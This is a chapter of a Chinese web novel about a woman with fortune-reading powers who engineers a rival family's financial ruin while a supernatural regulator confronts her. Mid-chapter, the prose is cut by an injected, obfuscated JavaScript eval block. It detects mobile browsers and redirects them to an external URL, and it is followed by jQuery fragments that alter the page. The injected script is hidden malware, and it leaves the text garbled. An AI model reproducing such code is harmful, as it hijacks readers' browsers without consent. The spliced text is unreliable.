凌晨三点,姜晚推开酒店顶层的落地窗。
此时的京城在她的【灵视眼】下,不再是霓虹闪烁的繁华都市,而是一张由无数金色、灰色、紫色的线条交织而成的巨大气运网。每一道线条的流动,都代表着财富的转移与因果的更迭。
【系统日志:环境扫描完成。】
【检测到异常波峰:沈氏集团。】
【气运状态:吸附性扩张(虚假繁荣)。】
姜晚修长的手指在平板电脑上滑动,屏幕上显示的不是风水卦象,而是复杂的金融K线图。这两者在她的算法中已经完全重合。
“沈沁沁,你的好运,该到结算日了。”
---
次日一早,沈氏集团总部。
沈父意气风发地站在会议室主位,身边坐着重回宠位的沈沁沁。
“沁沁,你这次推荐的‘灵境科技’项目,我们已经通过了初步尽调。”沈父拍了拍桌上的合同,语气里满是志在必得,“这个项目号称能利用量子波动干扰气场,是未来的风口。只要投进去,沈家就能跻身京城超一线家族。”
沈沁沁温婉地笑了笑,头顶那层淡淡的金光在阳光下显得格外圣洁。
但只有姜晚知道,那金光的边缘正生出无数细小的倒钩,像水蛭一样疯狂吮吸着沈家最后的基业。
“爸,我只是觉得这个项目和咱们家的气场很合。”沈沁沁轻声说,心里却是一阵快意。
自从姜晚离开,那种如影随形的压抑感终于消失了。她能感觉到自己的“直觉”前所未有的灵敏——虽然她并不知道,这种灵敏是建立在透支沈家未来十年运势的基础上的。
就在沈父准备签字时,一份匿名邮件发送到了在场所有高管的终端。
【关于“灵境科技”底层气运架构的风险评估报告(1.0版)】
沈父眉头一皱,下意识点开。
没有玄学的陈词滥调,全是硬核的数据对比:
“……该项目核心节点存在明显的‘因果断裂’,预计在融资到位后的72小时内,将触发不可逆的崩塌。气运流失速度:14.5亿/秒。”
“这是谁发的垃圾邮件?”沈父冷哼一声,“姜晚?除了她,没人会用这种奇怪的口吻说话。”
“爸,姐姐可能只是心里不平衡。”沈沁沁看了一眼屏幕,眼底闪过一丝慌乱,但很快被讥讽掩盖,“她以前就喜欢弄些玄虚的数据来吓唬人,其实就是嫉妒。”
沈父毫不犹豫地关掉了邮件。
在他看来,这种没有盖章、没有背书的所谓“报告”,不过是失败者的狺狺狂吠。
“签。”
钢笔落在纸上的那一刻,姜晚在五公里外的咖啡厅里,听到了系统传来的第一声崩裂音。
【因果逻辑闭环。】
【沈家资产正式进入“待收割”状态。】
---
与此同时,玄管局,裁决办公室。
陆景川正盯着一份刚收到的资金流动监控。
他的胸口隐隐作痛,那被姜晚借走的1%气运留下的印记,正随着沈家签下那份合同时产生的气场剧震而剧烈跳动。
“陆先生,沈家刚才完成了一笔巨额投产,但西郊地脉的监测点出现了异常的负压。”属下汇报道。
陆景川按住胸口,深邃的眸底划过一抹烦躁。
那是直觉在报警。
这种直觉,以往是靠职业敏锐度,而现在……更像是姜晚留在他体内的那个“逻辑漏洞”在向他示警。
“那个科技项目有问题。”陆景川站起身,穿上黑色裁决风衣,动作干练而肃杀,“姜晚呢?她在干什么?”
“姜小姐……她半小时前入职了‘灵境科技’的竞争对手——天谕投资。现在的身份是,首席气运风险官。”
陆景川扣纽扣的手指顿了一下。
“首席气运风险官?”
他气极反笑。
这个女人,已经不满足于地下交易,她开始试图将这种“非法干预”包装成合法的商业金融行为。
她是在公然挑战玄管局的监管边界。
“备车。”陆景川冷声开口,“去天谕投资。”
---
天谕投资,顶层办公室。
姜晚坐在真皮转椅上,脚边放着一个刚从黑市收来的古董铜镜——那是她的第二个“反噬缓冲池”。
“姜小姐,沈家已经入局了。我们接下来的操作是?”天谕的老板恭敬地问道。
“等。”
姜晚看着表。
“等沈家的资金全部进入资金池,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094400|195597||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
等那股‘虚假好运’达到顶峰。然后——”
她指尖在虚空一划,仿佛切割开了某种看不见的丝线。
“我会切断他们的供能链路。剩下的,就是你们的盛宴。”
就在此时,办公室的大门被暴力推开。
陆景川带着满身的寒气和秩序感走了进来。
他没有看任何人,视线死死锁在姜晚身上。
“姜晚,你越界了。”
陆景川走到她面前,双手撑在办公桌上,俯身逼视着她。
由于距离拉近,他体内的那种空虚感瞬间被姜晚身上浓郁的气场填满,这让他感到一种近乎羞耻的满足,随之而来的是更深的愤怒。
“利用气运干预市场,这是玄管局的红线。”
姜晚没动,她甚至慢条斯理地端起咖啡喝了一口,才抬眼看向他。
“陆裁决,证据呢?”
她摊开手,指着屏幕上合法的商业分析报告。
“我是受聘于天谕投资的风险分析师。沈家的失败是因为他们决策失误,我的成功是因为我预判了他们的失败。这在法律上,叫‘商业博弈’。”
“别跟我玩文字游戏。”陆景川压低声音,每一个字都像是从牙缝里挤出来的,“你身上的印记还没消,你的每一次能量流动我都能感觉到。”
“哦?”
姜晚站起身,走到陆景川面前。
两人之间的距离不足五厘米,她甚至能看到陆景川因为极度隐忍而跳动的额角青筋。
她伸手,虚虚地抚过陆景川的心口。
“那是你的‘本能’在骗你,陆先生。作为裁决者,你应该相信数据和证据,而不是相信你那颗……已经为了我而动摇的心。”
陆景川猛地抓住她的手腕,力道大得惊人。
“我的心不会动摇,姜晚。我会亲手把你送进裁决所。”
“我等着。”
姜晚凑到他耳边,吐气如兰,内容却冷酷到底。
“但在那之前,先看看窗外吧。沈家的葬礼,已经开始了。”
窗外,原本晴朗的天空突然被一团乌云笼罩。
沈氏集团的股价,在这一秒,开启了垂直降落。
【系统日志:收割开始。】
【账户余额:增加中……】